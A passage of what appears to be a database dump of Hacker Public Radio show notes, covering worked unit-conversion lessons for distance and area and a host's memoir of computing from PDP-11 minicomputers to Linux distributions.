in).\r\n\r\n\r\n   d. To make a conversion from feet to inches, I use:\r\n   \r\n			   12 in    10 ft \r\n      10 ft * 1 = 10 ft * ------- = ------ * 12 in = 10 * 12 in = 120 in\r\n                           1 ft      1 ft\r\n      \r\n      - Note: In the fraction (10 ft) / (1 ft), the units \"cancel out\", \r\n                which leaves a unitless number.\r\n	      \r\n      - Suppose we start with the other form for the conversion factor:\r\n   \r\n	                       1 ft    10 square feet \r\n      10 feet * 1 = 10 feet * ------ = -------------- = ???\r\n                              12 in       12 inches\r\n      \r\n      - See?  When I use the form where the units don\'t cancel each \r\n          other, I get a resulting equation that is still correct.  It \r\n          just doesn\'t make much sense to me as a reader.\r\n      \r\n      - This is what you get when you \"divide by 12\" to convert feet to \r\n          inches, but the difference is that you KNOW something\'s wrong.  \r\n      \r\n      - You do not have to even look at the numbers to know that this \r\n         could not possibly be the right number of inches in 10 feet.\r\n\r\n\r\nBrilliant Insight #2: When you use unit conversion factors, you help \r\n  your cause by carrying along both sets of units in the form of a \r\n  fraction as you go through your calculation.  \r\n  \r\n  - If the units on the right-hand side of your final equation don\'t \r\n    match the units you want (after everything else cancels out), your \r\n    numerical answer is almost certainly WRONG.\r\n  \r\n  - The implication here?  To convert units of distance, you need to \r\n       multiply or divide by a \r\n       \r\n       conversion factor = (X New_Units) / (Y Old_Units).  \r\n       \r\n    When you do this, write the conversion factor in its full fractional\r\n       form, and carry out all of the multiplications and cancellations.\r\n  \r\n  - If you do the conversion this way, and the units match, you only \r\n       have to check your arithmetic to be sure you\'ve got it right.\r\n\r\n  - If the units you want do not match those on the right side of the \r\n       equal sign, you are solving the wrong problem.  The equation may \r\n       be correct, but it is not expressed in the units you wanted.\r\n\r\n\r\n 6. Let\'s use the system to solve the second example:\r\n  \r\n                               1 ft       660 in * 1 ft \r\n      660 in * 1 =  660 in *  -------  = --------------- = 55 feet\r\n                               12 in        12 in\r\n \r\n      Why?  The \"inches\" units cancel out because they appear in both \r\n        numerator and denominator (top/bottom, upstairs/downstairs) of\r\n	    the fraction in the next to last term, leaving only \"feet\".\r\n\r\n  Why people hate units and conversion problems:\r\n  https://www.regentsprep.org/regents/math/algebra/am2/leseng.htm\r\n\r\n  Comment: The \"algebraic\" approach suggested here is ugly, ad hoc in\r\n    nature, and unnecessarily complicated.  Forget about setting up\r\n    equations and going through formal operations to solve them.\r\n    \r\n    Choose your conversion factors so that the units work out properly\r\n    as a straight multiplication problem with cancellation of all the\r\n    units you don\'t want.  You may have to \"divide\" numbers, but you\r\n    can use your calculator for working through the numbers.\r\n    \r\n  Cranky Summary: You should not have to solve equations to convert\r\n    between units. Phooey on anyone who says otherwise. :-)\r\n \r\n\r\nSegment 2: Conversions using compound conversion factors.\r\n\r\n1. Suppose I want to find the number of inches in a furlong, or the \r\n   number of acres (or hectares) in a square mile?\r\n   \r\n   - My almanac doesn\'t carry these conversion factors, so I start with \r\n       what I do have and work my way through it.\r\n       \r\n                                       4 rods    16.5 ft    12 in\r\n   1 furlong = 10 chains = 10 chains * ------- * ------- * -------\r\n                                       1 chain    1 rod      1 ft\r\n	\r\n	     = 10 * 4 * 16.5 * 12 inches = ... = 7920 inches \r\n\r\n\r\n2. For acres in a square mile (1 mi^2), we have a bit more to do.\r\n\r\n     Abbreviations used: miles = mi, furlong = fur, chain = ch\r\n     \r\n     Area means that we are dealing in two dimensions, so we have to \r\n        convert the lengths in each dimension.  An acre is already a \r\n        measure of area, so we\'re good.\r\n	\r\n                       1 acre    10 ch    8 fur   10 ch   8 fur\r\n   1 sq mi = 1 mi^2 * -------- * ------ * ----- * ----- * -----\r\n                       10 ch^2   1 fur    1 mi    1 fur   1 mi\r\n		      \r\n	   = (1 mi * 1 mi) * 1 acre * 10 ch * 10 ch   8 fur * 8 fur\r\n	                              ------------- * -------------\r\n					10 ch * ch     1 mi * 1 mi\r\n     \r\n   Units cancel, leaving this:\r\n   \r\n   1 sq mi = 1 acre * (100/10) * (8 * 8) = 10 * 64 acres = 640 acres\r\n  \r\n   \r\nNext time:  \"Hey!  Ready to try metric?\"\r\n\r\n</pre>',229,72,0,'CC-BY-SA','mathematics,units,distance,area',0,1402,1),
(1502,'2014-05-06','Practical Math - Units - Distances and Area, Part 2',1834,'Charles in NJ continues Practical Math with an episode on units of distance and area','<pre>\r\nHPR Episode: Using and Converting Between Units of Distance\r\n\r\nIntro: Last time, we talked in general terms about units, numbers and\r\nhow they might be useful in practice.  In this episode, we address some\r\nspecific measurement units that apply to distance and area, and how we\r\nmight convert from one system to another to better understand both.\r\n\r\nEntire point of this episode is this: Carry units in calculations on \r\n  distances and areas, and you\'ll have more success in using them in \r\n  your life.  \r\n\r\n\r\n\r\nSegment 1:  Review of Distance and Area conversions in the English system\r\n\r\n1. Links from last time\r\n\r\n   Table of Units: \r\n      https://www.csgnetwork.com/converttable.html\r\n\r\n   To see why the story is tremendously more complicated than my account\r\n      https://en.wikipedia.com/wiki/Mile\r\n\r\n   Fun article on the mile.\r\n      https://www.sizes.com/units/mile.htm\r\n   \r\n   High school student theme on the furlong.\r\n      https://www.writework.com/essay/history-furlong by silverAlex2000\r\n\r\n   Brief dictionary article on the mile, referenced by Dr. Math \r\n      https://www.unc.edu/~rowlett/units/dictM.html#mile \r\n      Referred by https://mathforum.org/library/drmath/view/61126.html\r\n\r\n   Resource: StackExchange Physics and Maths sections (\"mile\" question)\r\n      https://physics.stackexchange.com/questions/57785/difference-between-nautical-and-terrestrial-miles\r\n\r\n\r\n2. Converting between units\r\n   a. Units of distance usually defined as multiples of each other\r\n      - 1 mile = 5,280 feet            - 1 hand = 4 inches\r\n      - 1 foot = 12 inches             - 1 yard = 36 inches\r\n      \r\n      Skipping ahead to look at the metric system, we now have:\r\n      - 1 inch = 2.54 centimeters (exact). Regularized in recent years.\r\n\r\n   b. This works because there\'s consensus on Zero distance, so we don\'t\r\n         have to adjust for differing origins, as we do with the \r\n         non-absolute temperature scales like Fahrenheit and Celsius. \r\n      \r\n      - We\'ll get to temperature, non-absolute scales in a later show.\r\n\r\n   c. For absolute scales, we can convert from one unit to another using\r\n         a \"conversion factor\".  That is, we can convert a measurement \r\n         expressed in one unit to its equivalent in another unit by \r\n         multiplying or dividing by some number to stretch or compress \r\n         the original unit to match the target unit.\r\n	 \r\n      - Example: I know that 1 foot is 12 inches, so how many inches are\r\n          there in 10 feet?  How feet are there in 660 inches?\r\n      \r\n      - It is clear that a factor of 12 ought to be involved, but how do\r\n          I know when to multiply or divide by 12 in the conversion?\r\n      \r\n      - Wait!  I\'m serious.  When you see this problem for the first \r\n          time, you have to think this through to get it right.  \r\n        * Without a system in place, you always have to think about it.\r\n      \r\n      - Answers in naive setup:\r\n          (i) 10 feet = (12 * 10) inches = 120 inches\r\n         (ii) 660 inches = (660 / 12) feet = 55 feet\r\n\r\n3. Having a system.  Or units conversion as \"multiplying by One\"\r\n   \r\n   a. In each of the solutions I wrote down above, I start with an \r\n         equation that looks like this: X inches = Y feet.\r\n\r\n   b. Inches are not feet, and this way of writing down the calculation \r\n        does NOT help you figure you how the conversions should work, or\r\n        whether you should multiply or divide to get the right answers.\r\n\r\n   c. Here\'s a system for creating conversion factors that tell you what\r\n        to do at each step in the units conversion process.  It is based\r\n        on the very obvious fact that when I multiply any number by \'1\',\r\n        its value remains unchanged.\r\n	\r\n      - Start with one of the identities we wrote down at the beginning.\r\n	    In this case, let\'s use:  12 inches = 1 foot\r\n	  \r\n      - If I divide equals by equals, the results are equal.\r\n	    So I can write:\r\n	  \r\n	                                   12 inches      1 foot\r\n	  12 inches = 1 foot implies that  ---------  =  --------- = 1\r\n		                                 1 foot      12 inches\r\n      \r\n      -	Get the first term by dividing my original identity by (1 foot).\r\n      - Get the second term by dividing my original identity by (12 in).\r\n\r\n\r\n   d. To make a conversion from feet to inches, I use:\r\n   \r\n                           12 in    10 ft \r\n      10 ft * 1 = 10 ft * ------- = ------ * 12 in = 10 * 12 in = 120 in\r\n                           1 ft      1 ft\r\n      \r\n      - Note: In the fraction (10 ft) / (1 ft), the units \"cancel out\", \r\n                which leaves a unitless number.\r\n	      \r\n      - Suppose we start with the other form for the conversion factor:\r\n   \r\n                               1 ft    10 square feet \r\n      10 feet * 1 = 10 feet * ------ = -------------- = ???\r\n                              12 in       12 inches\r\n      \r\n      - See?  When I use the form where the units don\'t cancel each \r\n          other, I get a resulting equation that is still correct.  It \r\n          just doesn\'t make much sense to me as a reader.\r\n      \r\n      - This is what you get when you \"divide by 12\" to convert feet to \r\n          inches, but the difference is that you KNOW something\'s wrong.  \r\n      \r\n      - You do not have to even look at the numbers to know that this \r\n         could not possibly be the right number of inches in 10 feet.\r\n\r\n\r\nBrilliant Insight #2: When you use unit conversion factors, you help \r\n  your cause by carrying along both sets of units in the form of a \r\n  fraction as you go through your calculation.  \r\n  \r\n  - If the units on the right-hand side of your final equation don\'t \r\n    match the units you want (after everything else cancels out), your \r\n    numerical answer is almost certainly WRONG.\r\n  \r\n  - The implication here?  To convert units of distance, you need to \r\n       multiply or divide by a \r\n       \r\n       conversion factor = (X New_Units) / (Y Old_Units).  \r\n       \r\n    When you do this, write the conversion factor in its full fractional\r\n       form, and carry out all of the multiplications and cancellations.\r\n  \r\n  - If you do the conversion this way, and the units match, you only \r\n       have to check your arithmetic to be sure you\'ve got it right.\r\n\r\n  - If the units you want do not match those on the right side of the \r\n       equal sign, you are solving the wrong problem.  The equation may \r\n       be correct, but it is not expressed in the units you wanted.\r\n\r\n\r\n 6. Let\'s use the system to solve the second example:\r\n  \r\n                               1 ft       660 in * 1 ft \r\n      660 in * 1 =  660 in *  -------  = --------------- = 55 feet\r\n                               12 in        12 in\r\n \r\n      Why?  The \"inches\" units cancel out because they appear in both \r\n        numerator and denominator (top/bottom, upstairs/downstairs) of\r\n	    the fraction in the next to last term, leaving only \"feet\".\r\n\r\n  Why people hate units and conversion problems:\r\n  https://www.regentsprep.org/regents/math/algebra/am2/leseng.htm\r\n\r\n  Comment: The \"algebraic\" approach suggested here is ugly, ad hoc in\r\n    nature, and unnecessarily complicated.  Forget about setting up\r\n    equations and going through formal operations to solve them.\r\n    \r\n    Choose your conversion factors so that the units work out properly\r\n    as a straight multiplication problem with cancellation of all the\r\n    units you don\'t want.  You may have to \"divide\" numbers, but you\r\n    can use your calculator for working through the numbers.\r\n    \r\n  Cranky Summary: You should not have to solve equations to convert\r\n    between units. Phooey on anyone who says otherwise. :-)\r\n \r\n\r\nSegment 2: Conversions using compound conversion factors.\r\n\r\n1. Suppose I want to find the number of inches in a furlong, or the \r\n   number of acres (or hectares) in a square mile?\r\n   \r\n   - My almanac doesn\'t carry these conversion factors, so I start with \r\n       what I do have and work my way through it.\r\n       \r\n                                       4 rods    16.5 ft    12 in\r\n   1 furlong = 10 chains = 10 chains * ------- * ------- * -------\r\n                                       1 chain    1 rod      1 ft\r\n	\r\n	     = 10 * 4 * 16.5 * 12 inches = ... = 7920 inches \r\n\r\n\r\n2. For acres in a square mile (1 mi^2), we have a bit more to do.\r\n\r\n     Abbreviations used: miles = mi, furlong = fur, chain = ch\r\n     \r\n     Area means that we are dealing in two dimensions, so we have to \r\n        convert the lengths in each dimension.  An acre is already a \r\n        measure of area, so we\'re good.\r\n	\r\n                       1 acre    10 ch    8 fur   10 ch   8 fur\r\n   1 sq mi = 1 mi^2 * -------- * ------ * ----- * ----- * -----\r\n                       10 ch^2   1 fur    1 mi    1 fur   1 mi\r\n		      \r\n	   = (1 mi * 1 mi) * 1 acre * 10 ch * 10 ch   8 fur * 8 fur\r\n	                              ------------- * -------------\r\n                                       10 ch * ch     1 mi * 1 mi\r\n     \r\n   Units cancel, leaving this:\r\n   \r\n   1 sq mi = 1 acre * (100/10) * (8 * 8) = 10 * 64 acres = 640 acres\r\n  \r\n   \r\n\r\nSegment 3: Hey!  Ready to try metric?\r\n\r\n1. Metric system never caught on in the US, although most of English-\r\n     speaking world has adopted it.  Units conversion is easy in the \r\n     metric system, because everything is in powers of 10.\r\n   \r\n   - But you still need to carry along units in calculations!\r\n   \r\n2. Area and distance units in the metric system\r\n\r\n   - Basics of distance: Centimeter is easy for us to see, and now the \r\n       factor to convert centimeters to inches is exact.\r\n       \r\n       1 inch = 2.54 centimeters (cm) exactly\r\n       \r\n                                    1 inch\r\n       1 meter = 100 cm = 100 cm * --------- = 39.37 in (approximate)\r\n                                    2.54 cm \r\n\r\n       1 kilometer = 1,000 meters\r\n       \r\n\r\n   - Basics of area:\r\n \r\n       1 are = 100 sq meters  (area of a square that\'s 10m on each side)\r\n       \r\n                                          100 sq m\r\n       1 hectare = 100 ares = 100 ares * ---------- = 10,000 sq meters\r\n                                           1 are\r\n\r\n3. For short distances, we should do our conversions fairly precisely.\r\n\r\n   - There\'s usually a higher relative error from rounding off too soon.\r\n   - If you measure wood for a small project, you want to be \"close\".\r\n\r\n                        2.54 cm\r\n   So 1 foot = 12 in * --------- = 30.48 cm exactly.  Cut carefully!\r\n                        1 in\r\n			    \r\n4. For larger distances, like distances covered in track and field, or\r\n     the length of a football pitch (to a spectator), approximations can \r\n     give you a nice intuition for comparing units you know and a new\r\n     set of units that you don\'t know as well.\r\n     \r\n   - 1 meter is around 39.37 inches.  Suppose I call it about 1.10 yards\r\n        as a kind of approximate benchmark (39.60 in), so each meter in \r\n        my reckoning is about a quarter of an inch too long?  \r\n   \r\n   - If I\'m planning a space mission, I could be in trouble. \r\n       But how bad would this be for getting an intuitive feel of the \r\n       distances covered by the athletes in the Olympic Games?\r\n\r\n   - Error at  100 meters is about 0.23 in (0.6 cm) * 100 = 60 cm over\r\n           at  200 meters, it\'s 1.1 m over.\r\n           at 1 kilometer, it\'s 5.6 m over.\r\n	   \r\n     Unless you\'re a long-range sharpshooter, 5.6m off in 1 km seems OK.\r\n\r\n\r\n5. Bonus: The news talked about a wildfire that burned 100,000 hectares.\r\n      What kind of area are we talking about?\r\n\r\n   - Let\'s use our approxmation of 1 meter is about 1.1 yards.\r\n   \r\n   - Acres are defined in terms of \"square chains\", so let\'s look at \r\n        meters vs chains to see what we get.\r\n	\r\n	                                               1 m\r\n     1 chain = 4 linear rods = 22 yds = 22 yds * -------- = about 20m\r\n                                                  1.1 yd\r\n\r\n                                                 20m     20m\r\n     1 acre = 10 square chains = 10 ch * 1 ch * ----- * ------\r\n                                                1 ch     1 ch\r\n						       \r\n	    = 10 * 1 * 20m * 20m = 4,000 square meters, or 0.4 hectares\r\n\r\n   - Wow!  An acre\'s about 0.4 hectares, or 1 hectare\'s about 2.5 acres.\r\n\r\n\r\n   So what\'s the answer?\r\n                                               2.5 acres   \r\n      a) 100,000 hectares = 100,000 hectares * --------- = 250,000 acres\r\n                                               1 hectare \r\n\r\n\r\n                                            1 sq. mi    250,000\r\n      b) 100,000 hectares = 250,000 acres * --------- = ------- sq. mi\r\n                                            640 acres     640\r\n					    \r\n	                  = 391 sq. miles (about 400 sq miles)\r\n\r\n   Note: This suggests a shortcut conversion (hectares to square miles).\r\n\r\n                                 640 acres   1 hectare\r\n    1 square mile = 1 sq. mile * --------- * --------- = 256 hectares\r\n                                 1 sq. mi.   2.5 acres\r\n\r\n\r\n6. Final check: Error analysis on this approximate conversion from \r\n      hectares to acres or square miles.\r\n\r\n   - Using Google or \'units\' in the shell, we have:\r\n   \r\n     1 sq mi = 259 hectares to 6 significant digits, versus 256 (1%)\r\n\r\n     Note: If we used 250 hectares per square mile, the relative error \r\n       is 3.5%.  That\'s less than the error in the news report.\r\n\r\n     1 hectare = 2.47105 acres, versus 2.5 (1% error)\r\n\r\n   Units shell command: Dann Washko did a really nice job on \'units\' for HPR.\r\n    * Linux in the Shell #26: https://www.linuxintheshell.org/\r\n    * HPR Episode #1213: https://hackerpublicradio.org/eps.php?id=1213\r\n\r\n\r\nFinal word: Unless you are buying, selling or cultivating land, use the \r\n  cruder approximations here to understand the relationships between \r\n  acres, hectares and square miles.  It will make you seem smarter.\r\n  \r\n  - If someone calls you out and says it\'s wrong, blame \"that guy on HPR.\"\r\n\r\n\r\nNext Topic?  Volumes and recipes, other than medicines (separate topic)\r\n  - Volumes are the bottom line in cooking, unless they aren\'t.\r\n  - Hint: You should weigh some items, like some kinds of flour.\r\n</pre>',229,72,0,'CC-BY-SA','mile,furlong,foot,hand,yard,conversion,metric system',0,1344,1),
(1499,'2014-05-01','How I Got Into Computers',3597,'linux, computing, minicomputers, Fortran, COBOL, Pascal, Basic','<pre>\r\nHPR Episode: How I Got Into Computers\r\n\r\n1. Got into computers in 1974 in high school.\r\n - School had a DEC PDP-11/20 minicomputer\r\n   * Two ASR-33 Teletype terminals, keypunch, line printer, card sorter\r\n   * Ran older operating system RSTS-11 v4a\r\n     - Too low-end to run anything more recent.\r\n     - 16K words of core memory: point-to-point wired \"cores\"\r\n\r\n - The system was somewhat rudimentary.  It\'s idea of a prompt was:\r\n \r\n READY\r\n \r\n - A Teletype terminal does not have a screen, so the print head \r\n     was the only \"cursor\" to let you know where you are. \r\n \r\nHardware:\r\nPDP-11/20: Computer Museum \r\n  https://www.computerhistory.org/revolution/minicomputers/11/366/1946\r\n  \r\nPDP-11/20: Retro Technology\r\n  https://www.retrotechnology.com/pdp11/exhibit/PDP_11_infoage_1.htm\r\n\r\nASR Model 33 Teletype with PDP-11 model computers\r\n  https://www.retrotechnology.com/pdp11/\r\n  \r\nOperating System:\r\nRSTS-11 System Managers Guide\r\n  https://bitsavers.trailing-edge.com/pdf/dec/pdp11/rsts/V04/DEC-11-ORSMA-B-D_RSTSmgr_73.pdf\r\n  \r\nRSTS-11 System Users Guide\r\n  https://bitsavers.trailing-edge.com/pdf/dec/pdp11/rsts/V06/DEC-11-ORSUA-D-D_RSTS_SystemUserGuide_Jul75.pdf\r\n\r\n\r\n\r\n2. Learned BASIC-Plus to get anywhere, starting with 1/2-year course\r\n\r\nDEC BASIC Plus Language Manual\r\n  https://bitsavers.trailing-edge.com/pdf/dec/pdp11/rsts/V04/DEC-11-ORBPA-A-D_BASIC-PLUS_LangMan_Oct72.pdf  \r\n\r\n * Course was taught by a math teacher who was not an amazing programmer, \r\n     but he was a great teacher.  He enabled us to get going with BASIC. \r\n\r\n * Anticipated pairs programming by working on programs with a friend as\r\n    \"Chuck and Duck Enterprises\", but we were mainly having fun.\r\n   - Started by necessity (1 TTY), but we got satisfying results faster\r\n   - Both of us could write code, but we learned about using\r\n       complementary strengths to get cool stuff done.\r\n\r\nPairs programming:\r\n  Pairs Programming, from XP\r\n  https://www.extremeprogramming.org/rules/pair.html\r\n  \r\n  Laurie Williams (Her other stuff is good, too)\r\n  https://collaboration.csc.ncsu.edu/laurie/publications.html\r\n\r\n   \r\n * Small memory --> innovation\r\n   - ASCII Art \"Poster\" Program: \r\n     Create banner with block letters on LP based on terminal input.\r\n   - Developed a mini-language to encode characters, white space, \r\n       newlines for each supported character.\r\n   - This was a special-purpose language used to compress data, rather\r\n       than a cool Domain-Specific Language (DSL).\r\n   - We just wanted to make cool banners to come off the line printer.\r\n\r\nDomain Specific Languages:  Why ours wasn\'t a DSL\r\n  Martin Fowler on DSLs\r\n  https://martinfowler.com/tags/domain%20specific%20language.html\r\n  \r\n\r\n\r\n3. Did a math major in college, after switching away from Comp. Sci.\r\n\r\n * Math had advantages for me\r\n   - More flexible curriculum \r\n   - Abstractions of the time were more fun to play with\r\n \r\n * I used the University computers on jobs as research assistant, tutor, typist\r\n   - Used them in course work, too.\r\n   - Planning my code carefully let me use my excess CPU seconds for fun\r\n   - Rule of Thumb: 1 hour in library is worth 12 hours at the terminal.\r\n\r\n\r\n4. Branching out in hardware, systems and programming languages\r\n\r\n* We learned FORTRAN in the programming courses\r\n   - I resisted the temptation to \"think in FORTRAN\" \r\n   - More general approach felt slower for getting individual jobs done.\r\n   - Working from first principles seemed more reliable\r\n   - Often gave me better solutions than following my nose in FORTRAN\r\n\r\n   Quirky FORTRAN Preprocessor for Structured Programming (SF/K)\r\n   https://www.worldcat.org/title/fundamentals-of-structured-programming-using-fortran-with-sfk-and-watfiv-s/oclc/301094243\r\n\r\n * Later, I picked up Pascal and TOPS-20 Assembly Language\r\n   \r\n   Pascal: From the source\r\n   Pascal User Manual and Report (Springer)  Trade paperback (1975)\r\n   by Kathleen Jensen, K Jensen, N Wirth\r\n\r\n   Trade paperback, Springer, 1975.  English  2nd ed. 167 pages\r\n   ISBN: 0387901442      ISBN-13: 9780387901442\r\n \r\n \r\n\r\n5. Gear and software rundown:\r\n\r\n * Xerox/Honeywell Sigma Six (descended from Scientific Data Systems)  \r\n    (1977 to 1979)\r\n     https://en.wikipedia.org/wiki/CP-V_operating_system\r\n     https://en.wikipedia.org/wiki/SDS_Sigma_series\r\n\r\n * DEC System 2060 (relabeled PDP-10) running TOPS-20 on a 36-bit machine\r\n    (1979 to 1981)\r\n     https://bitsavers.trailing-edge.com/pdf/dec/pdp10/TOPS20/DECnet-20/AA-5091B-TM_TOPS-20_DECnet-20_Programmers_Guide_Jan80.pdf\r\n     https://pdp10.nocrew.org/docs/ad-h391at1.pdf  DECsystem-10 and -20 Processor Ref.\r\n\r\n\r\n6. Summer and Night Job\r\n * The Duration Caper:\r\n   Friend fixing a Fortran program to compute bond duration on a large portfolio.\r\n   - Answers weren\'t coming out, so he printed out several subtotals in his calculation.\r\n   - \"Extend the line\" to include the last term in the numerator of one big fraction \"and you\'ll have it\"\r\n   \r\n   Found a typo in the Jack Clark Francis \"bible\" of investments theory\r\n   - Throwaway question: \"What\'s this duration stuff, anyway?\"\r\n   - Question got me hired as a research assistant by Finance department in Business school\r\n   \r\n   Investments: Analysis and Management, First Edition Hardcover(1972)\r\n   by Jack Clark Francis.  McGraw-Hill Book Company\r\n   ISBN: 0070217858             ISBN-13: 9780070217850\r\n   \r\n\r\n * The \"Sure!  I Know Assembly Language\" Caper\r\n   Offered a job with Finance, conditional on first assignment.\r\n   - Take over maintenance of a Fortran program with inline Assembly Language\r\n   - Original developer was a senior Computer Science major I knew.\r\n   - Gambled that his code was solid.  And won in the end.\r\n   \r\n   Got paid 3 times minimum wage ($7.50/hour versus $2.30) to look up and read research papers.\r\n   - I\'d have done it for free, so this was a sweet gig.\r\n   \r\n   \r\n * Other jobs:\r\n   - Tutoring math, computer science for food or cash\r\n   - Programming jobs\r\n   - Teaching assistant jobs for statistics, finance courses\r\n   - Security and management of student-run darkroom in Summer months == \"reading\"\r\n   - Typing papers on a typewriter\r\n \r\n      \r\n7. After college, started working in non-life insurance.\r\n\r\n * End user computing in actuarial group was in BASIC-Plus on PDP-11s\r\n   - Word processing was in DECword or the WPS-8 dedicated machine.\r\n   - After first year, moved to department-level PDP-11/44\r\n   - For heavy-duty jobs, we also had timesharing access to VAX-11/780\r\n   \r\n * First project was building a database from mainframe data dump\r\n   - EBCDIC data conversion to ASCII led to my education about signed\r\n       data fields in COBOL.\r\n   - I knew hexadecimal math from my assembly language course\r\n   - I\'d seen EBCDIC in dumps while writing FORTRAN on CP-V\r\n   \r\n    Data dumps from 9-track to PDP-11/70 led to Overpunch field conversion\r\n      https://www.3480-3590-data-conversion.com/article-signed-fields.html\r\n\r\n * Note: When you have curly braces at the end of a signed number field, \r\n     the brace opens in the direction of the positive or negative end of\r\n     the number line.\r\n   - Open brace ({): Value ends in zero and has positive sign.  Zero < X\r\n   - Closing brace (}): Value ends in zero and is negative. Zero > X\r\n\r\n * If field ends in A, the value\'s final digit is 1, and it\'s positive\r\n   - B means positive value that ends with a 2, C is 3, ... I is 9.\r\n   - So \"00003757D\" is $   +375.74.\r\n   \r\n * If the field ends in J-R, the value is negative and ends in 1-9.\r\n   - So \"00000255R\" is the value $   -25.59.\r\n   \r\n\r\n\r\n8. Irony: I was asked to help troubleshoot a program that was crashing\r\n     as it was automatically converting the rates and rules manuals away\r\n     from Unix with \'nroff\' to DECword on RSTS in 1982.\r\n  - This may have delayed my adoption of Linux\r\n  - Used Unix (Ultrix) in early 1990s to preprocess data for use in OS/2\r\n  - Had to move to Win 95 and Win NT for work\r\n\r\n\r\n****** Skipping the Dark Period of DOS/Windows and OS/2 Computing ******\r\n  - Turbo Pascal, APL, PICK, QuickBasic, Visual Basic, Excel with VBA\r\n  - Learned SQL dialects, COM, .Net, and scripting languages\r\n\r\nMore from Dark Period: Less Slackware\r\n\r\n\r\n8. Gave Linux a try with Quantian Live CD in 2006 (Thanks, Dirk!)\r\n   https://dirk.eddelbuettel.com/quantian.html \r\n   https://dirk.eddelbuettel.com/quantian-tmp.pdf (PDF description)\r\n   https://dirk.eddelbuettel.com/quantian/quantian_0.7.9.2.quantian.packages.txt\r\n   \r\n * Used Live CDs to try Debian packages, repair PCs, and do math stuff\r\n  - Liked Gnumeric, Python, R, and educational software\r\n  - Wiped my Vista laptop in April, 2008 to install Ubuntu full-time\r\n  - Music, checking, and photo editing kept me from switching other PCs\r\n\r\n9. Tried Ubuntu \"Feisty\" using WUBI on Windows XP on Racing Cow\r\n * Trouble-free install, mainly because I was on an Ethernet cable\r\n   - Tried out Linux software in a risk-free environment to find what I liked\r\n   - GNOME 2 was close enough to Windows and Mac, so no problems with UI\r\n   - Command line was similar to Ultrix and even to DOS, so not so bad.\r\n\r\n * WUBI let me try Ubuntu without having to dual boot or use Live CDs\r\n   - Easy to install and remove, like a Windows application\r\n   - No messy virtualization setup\r\n   - Linux could see and use files on my Windows partition seamlessly\r\n\r\n * Ubuntu \"Hardy\" on \"Titanic\" (retired Dell Latitude D820 laptop)\r\n   - Install was easy, except for wireless networking\r\n   - Had to use NDISWRAPPER at first, but everything worked.\r\n\r\n * Switched my main home desktop (Racing Cow) in April, 2011\r\n  - Just in time for Unity, which would not run on my gear.\r\n  - Gnome 2 ran well on my computers, and they choked on Unity and Gnome 3.\r\n  - Taste and older machines led me to go distro hopping.\r\n  - Dan Lynch of Linux Outlaws pointed me to CrunchBang.  Try it.\r\n      https://crunchbang.org\r\n\r\n\r\n9. Other distros I\'ve tried:\r\n\r\n * Gentoo (June 2011):  https://www.gentoo.org \r\n \r\n   Note: It is not as super-hard as you\'ve been told.\r\n   \r\n   Installed it in three 4-hour sessions after reading docs on train\r\n    - Compiled kernel on first shot\r\n    - Added modules for devices I liked, and that recompile worked\r\n    - Got X working enough to use a browser and a window manager\r\n    - Gave up only because I had not decided on my workflows\r\n    - Was afraid to mix GTK and QT or KDE packages at that stage\r\n    - Unsure about reversing wrong choices \r\n    - Unfamiliar toolkits scared me, although I had no real problems\r\n  \r\n   Conclusion: My problem with Gentoo?  Between keyboard and chair. \r\n\r\n\r\n * Slackware (several times):  https://www.slackware.org\r\n   \r\n   Always installs on first try for me, with huge kernel\r\n    - Knowing what to do after initial install was the problem here, too\r\n    - To remove fear, I updated my 13.37 with all patches by hand\r\n    - Manual updates after install took 2 hours, including learning pkgtool\r\n    - Using generic or custom kernels is only hard when I\'m stupid\r\n      * Be sure the drivers to operate your boot disk are compiled in\r\n   \r\n   Conclusion: After hating older versions, it\'s KDE 4 for the win!\r\n   \r\n     \r\n * SlackerMedia book:  https://slackermedia.info\r\n   \r\n   Helpful tips on designing workstation around workflows\r\n    - Uses SlackBuilds and SlackBuild queues for repeatable configuration\r\n    - Gave me idea for groups working on math software-in-progress\r\n    - Slackware package format is simple, easy to grasp (for binaries)\r\n    - SlackBuilds: close to a universal format for sharing program source\r\n   \r\n   Why Slackware?\r\n    - There are SlackBuild scripts for Sage and other packages I like\r\n    - Slackware comes with support for TeX for math writing\r\n    - SlackerMedia has queues for audio, video, web editing, publishing\r\n   \r\n   Conclusion: SlackerMath is born.  Still needs to be fleshed out.\r\n    - Slackware distribution-from-scratch based on SlackBuilds\r\n    - Set it up as you wish using your own custom queues\r\n    - Suggested packages would include Sage, R, Octave, GSL, QuantLib,\r\n        Grass GIS, kile, gretl, Tux Racer, euler, gnucap, and others\r\n    - Languages: Python with NumPy/SciPy/matplotlib and bindings to \r\n        other languages/libraries, Scheme, Perl, Lua, C and Fortran\r\n        \r\n * Also tried the following, but didn\'t stay with them\r\n   - Slax (www.slax.org)\r\n   - \r\n11. Right now: \r\n  * Five of our six former Windows computers have switched to Linux.\r\n    - \"Surfing Cow\" decommissioned with CrunchBang as its final O/S.\r\n    - \"Racing Cow\" still going strong with CrunchBang\r\n    - Sony FE laptop \"White Cloud\" running Ubuntu 13.04\r\n    - Derringer is my audio editing machine, because it\'s under 3 lbs.\r\n    - Laptop \"Titanic\" died after a baptism in red wine\r\n      Back to life with new keyboard, disk, and name -- \"Lazarus\"\r\n      \r\n  * Number six (\"Dawn Pixie\") about to go to a Linux \"granny\" distro\r\n    - Linux Mint or PCLinuxOS (KDE version)\r\n    - Need a \"granny\" distros for generic use by all comers\r\n\r\n</pre>',229,29,0,'CC-BY-SA','DEC,PDP-11/20,ASR-33,RSTS-11,BASIC,FORTRAN,Pascal,VAX-11/780,Ultrix,Linux,Ubuntu,Gentoo,Slackware',0,1491,1),
